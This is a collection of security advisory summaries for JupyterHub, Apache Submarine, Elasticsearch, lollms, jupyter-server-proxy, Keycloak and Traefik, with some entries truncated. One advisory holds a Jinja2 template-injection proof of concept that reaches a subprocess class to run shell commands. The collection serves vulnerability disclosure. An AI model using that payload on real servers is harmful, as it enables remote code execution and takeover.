ghsa

### Impact JupyterHub < 5.0, when used with `GlobusOAuthenticator`, could be configured to allow all users from a particular institution only. The configuration for this would look like: ```python # Require users to be using the "foo.horse" identity provider, often an institution or university c.GlobusAuthenticator.identity_provider = "foo.horse" # Allow everyone who has that identity provider to log in c.GlobusAuthenticator.allow_all = True ``` This worked fine prior to JupyterHub 5.0, because `allow_all` *did not* take precedence over `identity_provider`. Since JupyterHub 5.0, `allow_all` *does* take precedence over `identity_provider`. On a hub with the same config, now **all** users will be allowed to login, regardless of `identity_provider`. `identity_provider` will basically be ignored. This is a [documented change](https://jupyterhub.readthedocs.io/en/stable/howto/upgrading-v5.html#authenticator-allow-all-and-allow-existing-users) in JupyterHub 5.0, but is likely to catch m...

Incorrect Authorization vulnerability in Apache Submarine Server Core. This issue affects Apache Submarine Server Core: from 0.8.0. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Submarine Server Core. This issue affects Apache Submarine Server Core: all versions. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

It was identified that if a cross-cluster API key https://www.elastic.co/guide/en/elasticsearch/reference/8.14/security-api-create-cross-cluster-api-key.html#security-api-create-cross-cluster-api-key-request-body restricts search for a given index using the query or the field_security parameter, and the same cross-cluster API key also grants replication for the same index, the search restrictions are not enforced during cross cluster search operations and search results may include documents and terms that should not be returned. This issue only affects the API key based security model for remote clusters https://www.elastic.co/guide/en/elasticsearch/reference/8.14/remote-clusters.html#remote-clusters-security-models that was previously a beta feature and is released as GA with 8.14.0

Improper Authentication vulnerability in Apache Submarine Commons Utils. This issue affects Apache Submarine Commons Utils: from 0.8.0. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

parisneo/lollms version 9.5 is vulnerable to Local File Inclusion (LFI) attacks due to insufficient path sanitization. The `sanitize_path_from_endpoint` function fails to properly sanitize Windows-style paths (backward slash `\`), allowing attackers to perform directory traversal attacks on Windows systems. This vulnerability can be exploited through various routes, including `personalities` and `/del_preset`, to read or delete any file on the Windows filesystem, compromising the system's availability.

### Impact There is a reflected cross-site scripting (XSS) issue in `jupyter-server-proxy`[1]. The `/proxy` endpoint accepts a `host` path segment in the format `/proxy/<host>`. When this endpoint is called with an invalid `host` value, `jupyter-server-proxy` replies with a response that includes the value of `host`, without sanitization [2]. A third-party actor can leverage this by sending a phishing link with an invalid `host` value containing custom JavaScript to a user. When the user clicks this phishing link, the browser renders the response of `GET /proxy/<host>`, which runs the custom JavaScript contained in `host` set by the actor. As any arbitrary JavaScript can be run after the user clicks on a phishing link, this issue permits extensive access to the user's JupyterLab instance for an actor. This issue exists in the latest release of `jupyter-server-proxy`, currently `v4.1.2`. **Impacted versions:** `>=3.0.0,<=4.1.2` ### Patches The patches are included in `==4.2.0` and `=...

### Impact _What kind of vulnerability is it? Who is impacted?_ RCE via SSTI, as root, full takeover. ### Patches _Has the problem been patched? What versions should users upgrade to?_ It has not been patched. ### References _Are there any links users can visit to find out more?_ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `...

Users with low privileges (just plain users in the realm) are able to utilize administrative functionalities within Keycloak admin interface. This issue presents a significant security risk as it allows unauthorized users to perform actions reserved for administrators, potentially leading to data breaches or system compromise. **Acknowledgements:** Special thanks to Maurizio Agazzini for reporting this issue and helping us improve our project.

### Impact There is a vulnerability in [Go managing various Is methods (IsPrivate, IsLoopback, etc) for IPv4-mapped IPv6 addresses](https://groups.google.com/g/golang-announce/c/XbxouI9gY7k/m/TuoGEhxIEwAJ). They didn't work as expected returning false for addresses which would return true in their traditional IPv4 forms. ### References - [CVE-2024-24790](https://www.cve.org/CVERecord?id=CVE-2024-24790) ### Patches - https://github.com/traefik/traefik/releases/tag/v2.11.4 - https://github.com/traefik/traefik/releases/tag/v3.0.2 ### Workarounds No workaround. ### For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).